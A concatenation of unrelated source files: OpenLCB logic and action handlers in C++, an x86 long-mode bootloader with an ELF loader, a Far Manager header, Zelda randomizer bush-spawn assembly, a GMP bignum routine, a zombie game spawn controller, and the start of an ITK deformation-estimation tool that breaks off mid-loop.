case DelayedFalse:
if (!lastLogicValue_) {
SendEventReport(done);
}
break;
}
}
bool Action::DoAction(bool logicResult,BarrierNotifiable *done)
{
switch (actionTrigger_) {
case None: break;
case Immediately:
SendEventReport(done);
break;
case ImmediateTrue:
if (logicResult) {
SendEventReport(done);
}
break;
case ImmediateFalse:
if (!logicResult) {
SendEventReport(done);
}
break;
default:
lastLogicValue_ = logicResult;
return true;
break;
}
return false;
}
ConfigUpdateListener::UpdateAction Action::apply_configuration(int fd,
bool initial_load,
BarrierNotifiable *done)
{
AutoNotify n(done);
Trigger actionTrigger_cfg = (Trigger) cfg_.actiontrigger().read(fd);
openlcb::EventId action_event_cfg = cfg_.actionevent().read(fd);
if (actionTrigger_cfg != actionTrigger_ ||
action_event_cfg != action_event_) {
if (!initial_load && actionTrigger_ != None) {
unregister_handler();
}
switch (actionTrigger_) {
case AfterDelay:
case DelayedTrue:
case DelayedFalse:
timer_->RemoveDelayedAction(this);
break;
default: break;
}
actionTrigger_ = actionTrigger_cfg;
action_event_ = action_event_cfg;
switch (actionTrigger_) {
case None: break;
case AfterDelay:
case DelayedTrue:
case DelayedFalse:
timer_->AddDelayedAction(this);
default:
register_handler();
return REINIT_NEEDED; // Causes events identify.
}
}
return UPDATED;
}
void Action::factory_reset(int fd)
{
CDI_FACTORY_RESET(cfg_.actiontrigger);
}
void Action::handle_identify_global(const openlcb::EventRegistryEntry ®istry_entry,
EventReport *event, BarrierNotifiable *done)
{
}
void Action::handle_identify_producer(const EventRegistryEntry ®istry_entry,
EventReport *event,
BarrierNotifiable *done)
{
}
void Action::register_handler()
{
}
void Action::unregister_handler()
{
}
void Action::SendAllProducersIdentified(EventReport *event,BarrierNotifiable *done)
{
}
void Action::SendProducerIdentified(EventReport *event,BarrierNotifiable *done)
{
}
void Action::SendEventReport(BarrierNotifiable *done)
{
write_helper.WriteAsync(node_,openlcb::Defs::MTI_EVENT_REPORT,
openlcb::WriteHelper::global(),
openlcb::eventid_to_buffer(action_event_),
done);
}
ConfigUpdateListener::UpdateAction Logic::apply_configuration(int fd,
bool initial_load,
BarrierNotifiable *done)
{
AutoNotify n(done);
groupFunction_ = (GroupFunction) cfg_.groupFunction().read(fd);
logicFunction_ = (LogicFunction) cfg_.logic().logicFunction().read(fd);
trueAction_ = (ActionType) cfg_.trueAction().read(fd);
falseAction_ = (ActionType) cfg_.falseAction().read(fd);
return UPDATED;
}
void Logic::factory_reset(int fd)
{
cfg_.description().write(fd,"");
CDI_FACTORY_RESET(cfg_.groupFunction);
CDI_FACTORY_RESET(cfg_.logic().logicFunction);
CDI_FACTORY_RESET(cfg_.trueAction);
CDI_FACTORY_RESET(cfg_.falseAction);
}
bool Logic::Evaluate(Which v,BarrierNotifiable *done)
{
if (groupFunction_ == Blocked) return false;
if (groupFunction_ == Group) {
bool prev = _topOfGroup()->Evaluate(LogicCallback::Unknown,done);
if (prev) return prev;
}
bool result = false;
bool newresult;
switch (logicFunction_) {
case AND:
result = v1_->Value() && v2_->Value();
break;
case OR:
result = v1_->Value() || v2_->Value();
break;
case XOR:
result = ((v1_->Value() && !v2_->Value()) || ((v2_->Value() && !v1_->Value())));
break;
case ANDChange:
newresult = v1_->Value() && v2_->Value();
result = newresult != oldValue_;
oldValue_ = newresult;
break;
case ORChange:
newresult = v1_->Value() || v2_->Value();
result = newresult != oldValue_;
oldValue_ = newresult;
break;
case ANDthenV2:
result = (v1_->Value() && v2_->Value() && v == LogicCallback::V2);
break;
case V1:
result = (v1_->Value() != 0);
break;
case V2:
result = (v2_->Value() != 0);
case True:
result = true;
break;
}
ActionType action_;
if (result) {
action_ = trueAction_;
} else {
action_ = falseAction_;
}
bool delayStarted = false;
int i;
switch (action_) {
case SendExitGroup:
for (i = 0; i < 4; i++) {
if (actions_[i]->DoAction(result,done) && !delayStarted) {
timer_->startDelay();
delayStarted = true;
}
}
return true;
case SendEvaluateNext:
for (i = 0; i < 4; i++) {
if (actions_[i]->DoAction(result,done) && !delayStarted) {
timer_->startDelay();
delayStarted = true;
}
}
if (v == LogicCallback::Unknown) {
if (groupFunction_ == Group && next_ != nullptr) {
return next_->Evaluate(LogicCallback::Unknown,done);
} else {
return false;
}
}
break;
case ExitGroup:
return true;
case EvaluateNext:
if (v == LogicCallback::Unknown) {
if (groupFunction_ == Group && next_ != nullptr) {
return next_->Evaluate(LogicCallback::Unknown,done);
} else {
return false;
}
}
break;
}
return result;
}
|
var1: defl 2.0
|
[bits 16]
[org 0x0000]
start:
; enabling A20 - based on http://wiki.osdev.org/A20_Line
; note: A20 activated by Bochs by default
mov ax, 0x2401
int 0x15
; http://wiki.osdev.org/A20_Line
; Use BIOS to turn on A20
; mov ax, 0x2401
; int 0x15
; Use fast A20 gate
in al, 0x92
or al, 2
out 0x92, al
; Clear (disable) interrupts.
cli
mov ax, 0x2000
mov ds, ax
mov es, ax
mov ax, 0x1f00
mov ss, ax
xor sp, sp
; A20 OSDev #4
; 0-19 0-23
; ffff:ffff --> ffff0 + ffff
; 1024 * 1024 do (1024 * 1024 * 2 - 1)
; remove later
;mov ax, 0xb800 ; 0xb8000
;mov fs, ax
;mov bx, 0
;mov ax, 0x4141
;mov [fs:bx], ax
; ds, cs, ss, es
; fs, gs
; idx-w-GDT, 1 bit GDT/LDT, 2 bit (0, 3)
; Global Descriptor Table
; Local
lgdt [GDT_addr]
mov eax, cr0
or eax, 1
mov cr0, eax
jmp dword 0x8:(0x20000+start32)
start32:
[bits 32]
mov ax, 0x10 ; GDT_idx kolejne_3_bity
mov ds, ax
mov es, ax
mov ss, ax
;lea eax, [0xb8000] ; mov eax, 0xb8000
;mov dword [eax], 0x41414141
; Vol 3, 4.5 IA-32e Paging
; http://os.phil-opp.com/entering-longmode.html (reenz0h)
; http://wiki.osdev.org/Setting_Up_Long_Mode
; Vol 3. 3.4.5 Segment Descriptors
mov eax, (PML4 - $$) + 0x20000
mov cr3, eax
mov eax, cr4
or eax, 1 << 5
mov cr4, eax
mov ecx, 0xC0000080 ; EFER
rdmsr
or eax, 1 << 8
wrmsr
mov eax, cr0
or eax, 1 << 31
mov cr0, eax
lgdt [GDT64_addr + 0x20000]
jmp dword 0x8:(0x20000+start64)
start64:
[bits 64]
mov ax, 0x10 ; GDT_idx kolejne_3_bity
mov ds, ax
mov es, ax
mov ss, ax
; Loader ELF
loader:
mov rsi, [0x20000 + kernel + 0x20]
add rsi, 0x20000 + kernel
movzx ecx, word [0x20000 + kernel + 0x38]
cld
; Assumes that the linker always stores ELF header at
; first p_vaddr.
xor r14, r14 ; First PT_LOAD p_vaddr.
.ph_loop:
mov eax, [rsi + 0]
cmp eax, 1 ; If it's not PT_LOAD, ignore.
jne .next
mov r8, [rsi + 8] ; p_offset
mov r9, [rsi + 0x10] ; p_vaddr
mov r10, [rsi + 0x20] ; p_filesz
mov r11, [rsi + 0x28] ; p_memsz
test r14, r14
jnz .skip
mov r14, r9
.skip:
; Backup
mov rbp, rsi
mov r15, rcx
; Zero memory
mov rdi, r9
mov rcx, r11
xor al, al
rep stosb
; Copy segment
lea rsi, [0x20000 + kernel + r8d]
mov rdi, r9
mov rcx, r10
rep movsb
; Restore
mov rcx, r15
mov rsi, rbp
.next:
add rsi, 0x38
loop .ph_loop
; Fix stack
mov rsp, 0x30f000
; Jump to EP
mov rdi, r14
mov rax, [0x20000 + kernel + 0x18]
call rax
GDT_addr:
dw (GDT_end - GDT) - 1
dd 0x20000 + GDT
times (32 - ($ - $$) % 32) db 0xcc
; GLOBAL DESCRIPTOR TABLE 32-BIT
GDT:
; Null segment
dd 0, 0
; Code segment
dd 0xffff ; segment limit
dd (10 << 8) | (1 << 12) | (1 << 15) | (0xf << 16) | (1 << 22) | (1 << 23)
; Data segment
dd 0xffff ; segment limit
dd (2 << 8) | (1 << 12) | (1 << 15) | (0xf << 16) | (1 << 22) | (1 << 23)
; Null segment
dd 0, 0
GDT_end:
; 64-bit GDT here!
GDT64_addr:
dw (GDT64_end - GDT64) - 1
dd 0x20000 + GDT64
times (32 - ($ - $$) % 32) db 0xcc
; GLOBAL DESCRIPTOR TABLE 64-BIT
GDT64:
; Null segment
dd 0, 0
; Code segment
dd 0xffff ; segment limit
dd (10 << 8) | (1 << 12) | (1 << 15) | (0xf << 16) | (1 << 21) | (1 << 23)
; Data segment
dd 0xffff ; segment limit
dd (2 << 8) | (1 << 12) | (1 << 15) | (0xf << 16) | (1 << 21) | (1 << 23)
; Null segment
dd 0, 0
GDT64_end:
times (4096 - ($ - $$) % 4096) db 0
; code by reenz0h
; https://github.com/reenz0h/osdev-by-gyn/tree/master/osdev3-addons
;PML4:
;dq 1 | (1 << 1) | (PDPTE - $$ + 0x20000)
;times 511 dq 0
; Assume: aligned to 4 KB
;PDPTE:
;dq 1 | (1 << 1) | (1 << 7)
;times 511 dq 0
; -------------------------------------------------------------
; Level 4 TABLE - Page-Map Level-4 Table
PML4:
dq 1 | (1 << 1) | (PDPT - $$ + 0x20000)
times 511 dq 0x0
; 1 GB pages - initially tried by Gyn during #OSDev3 stream
; PDPT:
;dq 1 | (1 << 1) | (1 << 7)
; Level 3 TABLE - Page-Directory Pointer Table
PDPT:
dq 1 | (1 << 1) | (PDT - $$ + 0x20000)
times 511 dq 0x0
; Level 2 TABLE - Page Directory Table
PDT:
; preprocessor loop dance... - mapping first 1GB == 512 * 0x200000 bytes
; 0x83 == 0x1 + 0x2 + 0x80 ---> Present/Writeablei/2MB page
%assign i 0
%rep 512
dq 0x200000*i+0x83
%assign i i+1
%endrep
; -------------------------------------------------------------
times (512 - ($ - $$) % 512) db 0
kernel:
|
#ifndef DIRMIX_HPP_7386031B_A22B_4851_8BC6_24E90C9798D5
#define DIRMIX_HPP_7386031B_A22B_4851_8BC6_24E90C9798D5
#pragma once
/*
dirmix.hpp
Misc functions for working with directories
*/
/*
Copyright © 1996 Eugene Roshal
Copyright © 2000 Far Group
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
3. The name of the authors may not be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// Internal:
// Platform:
// Common:
// External:
//----------------------------------------------------------------------------
enum TESTFOLDERCONST // for TestFolder()
{
TSTFLD_ERROR = -2,
TSTFLD_NOTACCESS = -1,
TSTFLD_NOTFOUND = 0,
TSTFLD_EMPTY = 1,
TSTFLD_NOTEMPTY = 2,
};
/* $ 15.02.2002 IS
Установка нужного диска и каталога и установление соответствующей переменной
окружения. В случае успеха возвращается не ноль.
Если ChangeDir==FALSE, то не меняем текущий диск, а только устанавливаем
переменные окружения.
*/
bool FarChDir(string_view NewDir, bool ChangeDir = true);
int TestFolder(const string& Path);
bool CheckShortcutFolder(string& TestPath, bool TryClosest, bool Silent);
void CreatePath(const string &InputPath, bool Simple=false);
#endif // DIRMIX_HPP_7386031B_A22B_4851_8BC6_24E90C9798D5
|
; this is set inside randomizer application
; org $1AFBBB ;Increases chance of getting enemies under random bush
; db $01, $0F, $0F, $0F, $0F, $0F, $0F, $12
; db $0F, $01, $0F, $0F, $11, $0F, $0F, $03
; sprite_bush_spawn_table:
; {
; ; SPRITE DATA TABLE GENERATED BY ENEMIZER
; .overworld
; ; Skip 0x80(overworld) + 0x128 (dungeons)
; skip #$80
; .dungeons
; skip #$128
; ;Old sprite table - Could be changed as well (for the item id 04)
; .random_sprites ; if item == 04
; db #$00, #$D8, #$E3, #$D8
; }
sprite_bush_spawn:
{
STY $0D ; restored code
LDA !BUSHES_FLAG ; That byte is the flag to activate random enemies under bush
BNE .continue
CPY.b #$04 : BNE .not_random_old
JSL GetRandomInt : AND.b #$03 : !ADD.b #$13 : TAY
.not_random_old
LDA $81F3, Y;restored code
RTL
.continue
PHX : PHY ; save x,y just to be safe
PHB : PHK : PLB ; setbank to 40
CPY.b #$04 : BNE .not_random
JSL GetRandomInt : AND.b #$03 : TAY
LDA.w sprite_bush_spawn_table_random_sprites, Y
BRL .return
.item_table
db #$00, #$D9, #$3E, #$79, #$D9, #$DC, #$D8, #$DA, #$E4, #$E1, #$DC
db #$D8, #$DF, #$E0, #$0B, #$42, #$D3, #$41, #$D4, #$D9, #$E3, #$D8
.not_random
CPY.b #$0F : BEQ .newSpriteSpawn
CPY.b #$11 : BEQ .newSpriteSpawn
CPY.b #$10 : BEQ .newSpriteSpawn
;CPY.b #$0E : BEQ .newSpriteSpawn
LDA .item_table, Y
BRA .return
.newSpriteSpawn
LDA $7E040A : TAY ; load the area ID
LDA $7EF3C5 : CMP.b #$03 : !BLT .dontGoPhase2 ; check if agahnim 1 is alive
; aga1 is dead
LDA $7E040A : CMP.b #$40 : !BGE .dontGoPhase2 ; check if we are in DW, if so we can skip shifting table index
!ADD #$90 : TAY ; agahnim 1 is dead, so we need to go to the 2nd phase table for LW
.dontGoPhase2
LDA sprite_bush_spawn_table_overworld, Y ;LDA 408000 + area id
.return
PLB ; restore bank to where it was
PLY : PLX ; restore x,y
RTL
} |
dnl AMD64 mpn_add_err2_n, mpn_sub_err2_n
dnl Contributed by David Harvey.
dnl Copyright 2011 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C AMD K8,K9 4.5
C AMD K10 ?
C Intel P4 ?
C Intel core2 6.9
C Intel corei ?
C Intel atom ?
C VIA nano ?
C INPUT PARAMETERS
define(`rp', `%rdi')
define(`up', `%rsi')
define(`vp', `%rdx')
define(`ep', `%rcx')
define(`yp1', `%r8')
define(`yp2', `%r9')
define(`n_param', `8(%rsp)')
define(`cy_param', `16(%rsp)')
define(`cy1', `%r14')
define(`cy2', `%rax')
define(`n', `%r10')
define(`w', `%rbx')
define(`e1l', `%rbp')
define(`e1h', `%r11')
define(`e2l', `%r12')
define(`e2h', `%r13')
ifdef(`OPERATION_add_err2_n', `
define(ADCSBB, adc)
define(func, mpn_add_err2_n)')
ifdef(`OPERATION_sub_err2_n', `
define(ADCSBB, sbb)
define(func, mpn_sub_err2_n)')
MULFUNC_PROLOGUE(mpn_add_err2_n mpn_sub_err2_n)
ASM_START()
TEXT
ALIGN(16)
PROLOGUE(func)
mov cy_param, cy2
mov n_param, n
push %rbx
push %rbp
push %r12
push %r13
push %r14
xor R32(e1l), R32(e1l)
xor R32(e1h), R32(e1h)
xor R32(e2l), R32(e2l)
xor R32(e2h), R32(e2h)
sub yp1, yp2
lea (rp,n,8), rp
lea (up,n,8), up
lea (vp,n,8), vp
test $1, n
jnz L(odd)
lea -8(yp1,n,8), yp1
neg n
jmp L(top)
ALIGN(16)
L(odd):
lea -16(yp1,n,8), yp1
neg n
shr $1, cy2
mov (up,n,8), w
ADCSBB (vp,n,8), w
cmovc 8(yp1), e1l
cmovc 8(yp1,yp2), e2l
mov w, (rp,n,8)
sbb cy2, cy2
inc n
jz L(end)
ALIGN(16)
L(top):
mov (up,n,8), w
shr $1, cy2 C restore carry
ADCSBB (vp,n,8), w
mov w, (rp,n,8)
sbb cy1, cy1 C generate mask, preserve CF
mov 8(up,n,8), w
ADCSBB 8(vp,n,8), w
mov w, 8(rp,n,8)
sbb cy2, cy2 C generate mask, preserve CF
mov (yp1), w C (e1h:e1l) += cy1 * yp1 limb
and cy1, w
add w, e1l
adc $0, e1h
and (yp1,yp2), cy1 C (e2h:e2l) += cy1 * yp2 limb
add cy1, e2l
adc $0, e2h
mov -8(yp1), w C (e1h:e1l) += cy2 * next yp1 limb
and cy2, w
add w, e1l
adc $0, e1h
mov -8(yp1,yp2), w C (e2h:e2l) += cy2 * next yp2 limb
and cy2, w
add w, e2l
adc $0, e2h
add $2, n
lea -16(yp1), yp1
jnz L(top)
L(end):
mov e1l, (ep)
mov e1h, 8(ep)
mov e2l, 16(ep)
mov e2h, 24(ep)
and $1, %eax C return carry
pop %r14
pop %r13
pop %r12
pop %rbp
pop %rbx
ret
EPILOGUE()
|
#pragma once
#include "SpawnController.h"
#include "GameObjectFactory.h"
#include "GameScreen.h"
#include "Quadtree.h"
#include "NumberUtility.h"
#include "Map.h"
#include "StatsController.h"
#include "Zombie.h"
#include "BadassZombie.h"
bool SpawnController::IsFinished()
{
int kills = statsController->GetKills();
if (!waveFinished && kills == zombies) {
waveFinished = true;
elapsedtime = 0;
}
return waveFinished;
}
SpawnController::SpawnController()
{
NextWave();
}
SpawnController::SpawnController(GameScreen * gs) : gameScreen(gs)
{
statsController->SetKills(0);
NextWave();
}
SpawnController::~SpawnController()
{
}
void SpawnController::SetMap(Map * m)
{
map = m;
ObjectLayer* ol = map->GetObjectLayer("SpawnPoints");
for (auto& spawnPoint : ol->GetRects())
{
AddLocation(spawnPoint->x, spawnPoint->y);
}
}
void SpawnController::Update(float dt)
{
if (completed) return;
elapsedtime += dt;
if (IsFinished()) {
Countdown();
return;
}
else Spawn();
}
void SpawnController::Spawn()
{
if (amountSpawned == amountToSpawn) return;
if (elapsedtime < spawnTime) return;
//No points to spawn on?
if (locations.size() == 0) return;
int l = NumberUtility::RandomNumber(0, locations.size() - 1);
xy p = locations.at(l);
Zombie* z = nullptr;
if (amountToSpawn - 1 == amountSpawned) {
z = GameObjectFactory::Instance()->CreateBadassZombie();
}
else {
z = GameObjectFactory::Instance()->CreateZombie();
}
z->SetTarget(target);
z->SetPosition(p.first, p.second);
zombiesVector.push_back(z);
amountSpawned++;
elapsedtime = 0;
}
void SpawnController::NextWave()
{
if (currentWave == maxWaves) {
completed = true;
return;
}
currentWave++;
waveFinished = false;
amountSpawned = 0;//reset wave count
amountToSpawn = GetAmountToSpawn();
zombies += amountToSpawn;
waveFinished = false;
elapsedtime = 0;
}
void SpawnController::Countdown()
{
if (elapsedtime < timeBetweenWaves) return;
NextWave();
StatsController::GetInstance()->AddWaveDefeated();
}
void SpawnController::AddLocation(int x, int y)
{
this->locations.push_back({ x,y });
}
|
#include <stdio.h>
#include <iostream>
#include "ArgumentParser.h"
#include "Log.h"
#include <vector>
#include <map>
#include "itkImageRegionIterator.h"
#include "TransformationUtils.h"
#include "ImageUtils.h"
#include "FilterUtils.hpp"
#include <sstream>
#include "ArgumentParser.h"
#include <fstream>
#include <sys/stat.h>
#include <sys/types.h>
#include "itkConstNeighborhoodIterator.h"
#include "itkDisplacementFieldTransform.h"
#include "itkNormalizedCorrelationImageToImageMetric.h"
#include "itkMeanSquaresImageToImageMetric.h"
#include "itkMattesMutualInformationImageToImageMetric.h"
#include "itkNormalizedMutualInformationHistogramImageToImageMetric.h"
#include "itkLinearInterpolateImageFunction.h"
#include <itkAddImageFilter.h>
#include <itkSubtractImageFilter.h>
#include "itkFixedPointInverseDeformationFieldImageFilter.h"
#include "SolverAQUIRCLocal.h"
using namespace CBRR;
typedef unsigned char PixelType;
static const unsigned int D=2 ;
typedef itk::Image<PixelType,D> ImageType;
typedef ImageType::Pointer ImagePointerType;
typedef ImageType::IndexType IndexType;
typedef ImageType::PointType PointType;
typedef ImageType::OffsetType OffsetType;
typedef ImageType::SizeType SizeType;
typedef ImageType::ConstPointer ImageConstPointerType;
typedef ImageType::ConstPointer ConstImagePointerType;
typedef ImageUtils<ImageType>::FloatImageType FloatImageType;
typedef FloatImageType::Pointer FloatImagePointerType;
typedef TransfUtils<ImageType>::DisplacementType DisplacementType;
typedef TransfUtils<ImageType>::DeformationFieldType DeformationFieldType;
typedef DeformationFieldType::Pointer DeformationFieldPointerType;
typedef itk::ImageRegionIterator<ImageType> ImageIteratorType;
typedef itk::ImageRegionIterator<FloatImageType> FloatImageIteratorType;
typedef itk::ImageRegionIterator<DeformationFieldType> DeformationIteratorType;
typedef itk::ConstNeighborhoodIterator<ImageType> ImageNeighborhoodIteratorType;
typedef ImageNeighborhoodIteratorType * ImageNeighborhoodIteratorPointerType;
typedef ImageNeighborhoodIteratorType::RadiusType RadiusType;
typedef itk::ImageRegionIteratorWithIndex<DeformationFieldType> DeformationFieldIterator;
typedef itk::AddImageFilter<DeformationFieldType,DeformationFieldType,DeformationFieldType> DeformationAddFilterType;
typedef DeformationAddFilterType::Pointer DeformationAddFilterPointer;
typedef itk::SubtractImageFilter<DeformationFieldType,DeformationFieldType,DeformationFieldType> DeformationSubtractFilterType;
typedef itk::FixedPointInverseDeformationFieldImageFilter<DeformationFieldType,DeformationFieldType> InverseDeformationFieldFilterType;
typedef InverseDeformationFieldFilterType::Pointer InverseDeformationFieldFilterPointerType;
enum MetricType {NONE,MAD,NCC,MI,NMI,MSD};
enum WeightingType {UNIFORM,GLOBAL,LOCAL};
map<string,ImagePointerType> * readImageList(string filename,std::vector<string> & imageIDs){
map<string,ImagePointerType> * result=new map<string,ImagePointerType>;
ifstream ifs(filename.c_str());
if (!ifs){
LOG<<"could not read "<<filename<<endl;
exit(0);
}
while( ! ifs.eof() )
{
string imageID;
ifs >> imageID;
if (imageID!=""){
imageIDs.push_back(imageID);
ImagePointerType img;
string imageFileName ;
ifs >> imageFileName;
LOGV(3)<<"Reading image "<<imageFileName<< " with ID "<<imageID<<endl;
img=ImageUtils<ImageType>::readImage(imageFileName);
if (result->find(imageID)==result->end())
(*result)[imageID]=img;
else{
LOG<<"duplicate image ID "<<imageID<<", aborting"<<endl;
exit(0);
}
}
}
return result;
}
double computeError( map< string, map <string, DeformationFieldPointerType> > & defs, map< string, map <string, DeformationFieldPointerType> > & trueDefs){
return 0.0;
}
int main(int argc, char ** argv){
double m_sigma;
RadiusType m_patchRadius;
feenableexcept(FE_INVALID|FE_DIVBYZERO|FE_OVERFLOW);
ArgumentParser * as=new ArgumentParser(argc,argv);
string deformationFileList,imageFileList,atlasSegmentationFileList,supportSamplesListFileName="",outputDir="",outputSuffix="",weightListFilename="",trueDefListFilename="",ROIFilename="";
int verbose=0;
double pWeight=1.0;
int radius=3;
int maxHops=1;
bool uniformUpdate=true;
string metricName="NCC";
string weightingName="uniform";
bool lateFusion=false;
bool dontCacheDeformations=false;
bool graphCut=false;
double smoothness=1.0;
double lambda=0.0;
double resamplingFactor=1.0;
m_sigma=30;
string solverName="localnorm";
double w1=1.0,w3=1.0;
//as->parameter ("A",atlasSegmentationFileList , "list of atlas segmentations <id> <file>", true);
as->parameter ("T", deformationFileList, " list of deformations", true);
as->parameter ("true", trueDefListFilename, " list of TRUE deformations", false);
as->parameter ("ROI", ROIFilename, "file containing a ROI on which to perform erstimation", false);
as->parameter ("i", imageFileList, " list of images", true);
as->parameter ("s", m_sigma,"sigma for exp(- metric/sigma)",false);
//as->parameter ("radius", radius,"patch radius for local metrics",false);
as->parameter ("O", outputDir,"outputdirectory (will be created + no overwrite checks!)",false);
//as->parameter ("radius", radius,"patch radius for NCC",false);
as->parameter ("maxHops", maxHops,"maximum number of hops",false);
as->parameter ("lambda", lambda,"regularization",false);
as->parameter ("w1", w1,"weight for def1 in circle",false);
as->parameter ("w3", w3,"weight for def3 in circle",false);
as->option ("lateFusion", lateFusion,"fuse segmentations late. maxHops=1");
// as->option ("graphCut", graphCut,"use graph cuts to generate final segmentations instead of locally maximizing");
//as->parameter ("smoothness", smoothness,"smoothness parameter of graph cut optimizer",false);
as->parameter ("resamplingFactor", resamplingFactor,"lower resolution by a factor",false);
as->parameter ("verbose", verbose,"get verbose output",false);
as->parse();
//late fusion is only well defined for maximal 1 hop.
//it requires to explicitly compute all n!/(n-nHops) deformation paths to each image and is therefore infeasible for nHops>1
//also strange to implement
if (lateFusion)
maxHops==min(maxHops,1);
for (unsigned int i = 0; i < ImageType::ImageDimension; ++i) m_patchRadius[i] = radius;
logSetStage("IO");
logSetVerbosity(verbose);
MetricType metric;
map<string,ImagePointerType> *inputImages;
typedef map<string, ImagePointerType>::iterator ImageListIteratorType;
std::vector<string> imageIDs;
LOG<<"Reading input images."<<endl;
inputImages = readImageList( imageFileList, imageIDs );
int nImages = inputImages->size();
if (dontCacheDeformations){
LOG<<"Reading deformation file names."<<endl;
}else{
LOG<<"CACHING all deformations!"<<endl;
}
map< string, map <string, DeformationFieldPointerType> > deformationCache, errorAccumulators, trueDeformations;
map< string, map <string, string> > deformationFilenames;
map<string, map<string, float> > globalWeights;
DisplacementType zeroDisp;
zeroDisp.Fill(0.0);
{
ifstream ifs(deformationFileList.c_str());
while (!ifs.eof()){
string intermediateID,targetID,defFileName;
ifs >> intermediateID;
if (intermediateID!=""){
ifs >> targetID;
ifs >> defFileName;
if (inputImages->find(intermediateID)==inputImages->end() || inputImages->find(targetID)==inputImages->end() ){
LOGV(3)<<intermediateID<<" or "<<targetID<<" not in image database, skipping"<<endl;
//exit(0);
}else{
if (!dontCacheDeformations){
LOGV(3)<<"Reading deformation "<<defFileName<<" for deforming "<<intermediateID<<" to "<<targetID<<endl;
deformationCache[intermediateID][targetID]=ImageUtils<DeformationFieldType>::readImage(defFileName);
errorAccumulators[intermediateID][targetID]=ImageUtils<DeformationFieldType>::createEmpty(deformationCache[intermediateID][targetID]);
errorAccumulators[intermediateID][targetID]->FillBuffer(zeroDisp);
globalWeights[intermediateID][targetID]=1.0;
}else{
LOGV(3)<<"Reading filename "<<defFileName<<" for deforming "<<intermediateID<<" to "<<targetID<<endl;
deformationFilenames[intermediateID][targetID]=defFileName;
globalWeights[intermediateID][targetID]=1.0;
}
}
}
}
}
if (outputDir!=""){
mkdir(outputDir.c_str(),0755);
}
if (trueDefListFilename!=""){
double trueErrorNorm=0.0;
ifstream ifs(trueDefListFilename.c_str());
int c=0;
while (!ifs.eof()){
string intermediateID,targetID,defFileName;
ifs >> intermediateID;
if (intermediateID!=""){
ifs >> targetID;
ifs >> defFileName;
if (inputImages->find(intermediateID)==inputImages->end() || inputImages->find(targetID)==inputImages->end() ){
LOGV(3)<<intermediateID<<" or "<<targetID<<" not in image database, skipping"<<endl;
//exit(0);
}else{
if (!dontCacheDeformations){
LOGV(3)<<"Reading TRUE deformation "<<defFileName<<" for deforming "<<intermediateID<<" to "<<targetID<<endl;
trueDeformations[intermediateID][targetID]=ImageUtils<DeformationFieldType>::readImage(defFileName);
if (outputDir!=""){
DeformationFieldPointerType diff=TransfUtils<ImageType>::subtract(deformationCache[intermediateID][targetID],trueDeformations[intermediateID][targetID]);
ostringstream trueDefNorm;
trueDefNorm<<outputDir<<"/trueLocalDeformationNorm-FROM-"<<intermediateID<<"-TO-"<<targetID<<".png";
ImageUtils<ImageType>::writeImage(trueDefNorm.str().c_str(),FilterUtils<FloatImageType,ImageType>::truncateCast(ImageUtils<FloatImageType>::multiplyImageOutOfPlace(TransfUtils<ImageType>::computeLocalDeformationNorm(diff,1.0),50)));
ostringstream trueDef;
trueDef<<outputDir<<"/trueLocalDeformationERROR-FROM-"<<intermediateID<<"-TO-"<<targetID<<".mha";
ImageUtils<DeformationFieldType>::writeImage(trueDef.str().c_str(),diff);
}
DeformationFieldIterator itDef( deformationCache[intermediateID][targetID],deformationCache[intermediateID][targetID]->GetLargestPossibleRegion());
DeformationFieldIterator itTrueDef( trueDeformations[intermediateID][targetID], trueDeformations[intermediateID][targetID]->GetLargestPossibleRegion());
itDef.GoToBegin();
itTrueDef.GoToBegin();
for (;!itDef.IsAtEnd();++itDef,++itTrueDef){
//get solution of eqn system
trueErrorNorm+=(itTrueDef.Get()-itDef.Get()).GetNorm();
++c;
}
}
else{
LOG<<"error, not caching true defs not implemented"<<endl;
exit(0);
}
}
}
}
trueErrorNorm=trueErrorNorm/c;
LOG<<VAR(trueErrorNorm)<<endl;
}
ConstImagePointerType origReference=(ConstImagePointerType)ImageUtils<ImageType>::duplicate( (*inputImages)[imageIDs[0]]);
if (resamplingFactor !=1.0){
for (int t=0;t<imageIDs.size();++t){
string targetID=imageIDs[t];
(*inputImages)[targetID]=FilterUtils<ImageType>::LinearResample( (*inputImages)[targetID],1.0/resamplingFactor);
for (int s=0;s<imageIDs.size();++s){
if (s!=t){
string sourceID=imageIDs[s];
